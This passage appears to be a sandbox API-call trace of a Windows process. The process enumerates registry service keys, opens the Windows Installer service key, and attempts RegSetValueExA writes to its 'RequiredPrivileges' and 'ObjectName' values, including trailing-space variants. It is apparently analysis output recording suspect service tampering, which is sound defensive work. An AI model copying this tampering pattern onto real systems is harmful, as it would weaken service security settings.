lpName="IPNAT") returned 0x0 [0254.011] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0254.011] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0254.011] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0254.058] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0254.058] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0254.058] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0254.058] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0254.059] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0254.059] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0254.059] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0254.059] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0254.059] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0254.059] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0254.059] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0254.059] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0254.059] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0254.059] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0254.059] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0254.059] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0254.059] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0254.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0254.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0254.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0254.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0254.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0254.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0254.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0254.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0254.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0254.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0254.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0254.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0254.061] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0254.062] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0254.062] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0254.062] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0254.062] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0254.062] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0254.062] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0254.062] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0254.062] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0254.063] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0254.063] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0254.063] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0254.063] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0254.063] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0254.063] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0254.063] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0254.063] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0254.063] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0254.063] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0254.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0254.063] RegCloseKey (hKey=0xc4) returned 0x0 [0254.064] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0254.064] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0254.064] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0254.064] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0254.064] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0254.064] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0254.064] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0254.064] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0254.064] RegCloseKey (hKey=0x80000002) returned 0x0 [0254.064] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0254.064] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0254.064] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0254.064] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0254.065] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0254.065] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0254.065] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0254.065] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0254.065] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0254.065] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0254.065] RegCloseKey (hKey=0x148) returned 0x0 [0254.065] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0254.065] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0254.065] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0254.065] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0254.065] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0254.065] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0254.065] RegCloseKey (hKey=0xc4) returned 0x0 [0254.066] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0254.066] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0254.066] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0254.066] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0254.066] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0254.066] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0254.066] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0254.066] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0254.066] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0254.076] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.076] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.076] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.076] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.076] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.076] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.076] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.076] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.077] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.077] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.077] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.077] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.077] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.077] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.077] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.077] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0254.077] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048, cbData=0x195) returned 0x6 [0254.077] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0254.077] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData=0x21f1970, cbData=0x1) returned 0x6 [0254.077] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0254.077] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.078] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.078] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.078] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.078] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.078] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.078] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.078] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.078] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.078] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.078] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.078] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.078] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.079] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.079] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.079] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0254.079] RegSetValueExA (hKey=0x0, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData=0x21f1df0, cbData=0xc) returned 0x6 [0254.079] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0254.079] RegSetValueExA (hKey=0x0, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData=0x21f1df0, cbData=0x1) returned 0x6 [0254.079] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0254.079] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.079] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.079] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.079] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.079] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.079] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.079] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.079] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.080] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.080] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.080] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.080] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.080] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.080] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.080] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.080] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0254.080] RegSetValueExA (hKey=0x0, 